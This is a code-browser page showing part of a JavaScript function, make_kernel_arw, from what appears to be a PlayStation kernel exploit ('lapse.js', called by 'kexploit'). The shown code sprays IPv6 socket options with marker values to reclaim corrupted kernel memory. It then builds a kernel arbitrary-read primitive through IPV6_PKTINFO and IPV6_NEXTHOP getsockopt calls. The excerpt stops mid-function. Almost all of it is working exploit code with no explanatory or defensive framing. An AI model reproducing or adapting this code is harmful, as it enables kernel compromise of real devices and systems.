MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / make_kernel_arw

Function make_kernel_arw

g2all/900/lapse.js:1189–1515  ·  view source on GitHub ↗
(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds)

Source from the content-addressed store, hash-verified

1187// dirty_sd is the socket whose rthdr pointer is corrupt
1188// kernel_addr is the address of the "evf cv" string
1189function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
1190 const psd = pktopts_sds[0];
1191 const tclass = new Word();
1192 const off_tclass = is_ps4 ? 0xb0 : 0xc0;
1193
1194 const pktopts = new Buffer(0x100);
1195 const rsize = build_rthdr(pktopts, pktopts.size);
1196 const pktinfo_p = k100_addr.add(0x10);
1197 // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
1198 pktopts.write64(0x10, pktinfo_p);
1199
1200 log('overwrite main pktopts');
1201 let reclaim_sd = null;
1202 close(pktopts_sds[1]);
1203 for (let i = 0; i < num_alias; i++) {
1204 for (let i = 0; i < num_sds; i++) {
1205 // if a socket doesn't have a pktopts, setting the rthdr will make
1206 // one. the new pktopts might reuse the memory instead of the
1207 // rthdr. make sure the sockets already have a pktopts before
1208 pktopts.write32(off_tclass, 0x4141 | i << 16);
1209 set_rthdr(sds[i], pktopts, rsize);
1210 }
1211
1212 gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
1213 const marker = tclass[0];
1214 if ((marker & 0xffff) === 0x4141) {
1215 log(`found reclaim sd at attempt: ${i}`);
1216 const idx = marker >>> 16;
1217 reclaim_sd = sds[idx];
1218 sds.splice(idx, 1);
1219 break;
1220 }
1221 }
1222 if (reclaim_sd === null) {
1223 die('failed to overwrite main pktopts');
1224 }
1225
1226 const pktinfo = new Buffer(0x14);
1227 pktinfo.write64(0, pktinfo_p);
1228 const nhop = new Word();
1229 const nhop_p = nhop.addr;
1230 const read_buf = new Buffer(8);
1231 const read_buf_p = read_buf.addr;
1232 function kread64(addr) {
1233 const len = 8;
1234 let offset = 0;
1235 while (offset < len) {
1236 // pktopts.ip6po_nhinfo = addr + offset
1237 pktinfo.write64(8, addr.add(offset));
1238 nhop[0] = len - offset;
1239
1240 ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
1241 sysi(
1242 'getsockopt',
1243 psd, IPPROTO_IPV6, IPV6_NEXTHOP,
1244 read_buf_p.add(offset), nhop_p,
1245 );
1246

Callers 1

kexploitFunction · 0.70

Calls 15

write64Method · 0.95
write32Method · 0.95
copyoutMethod · 0.95
read32Method · 0.95
logFunction · 0.90
dieFunction · 0.90
jstrFunction · 0.90
build_rthdrFunction · 0.70
closeFunction · 0.70
set_rthdrFunction · 0.70
gsockoptFunction · 0.70
kread64Function · 0.70

Tested by

no test coverage detected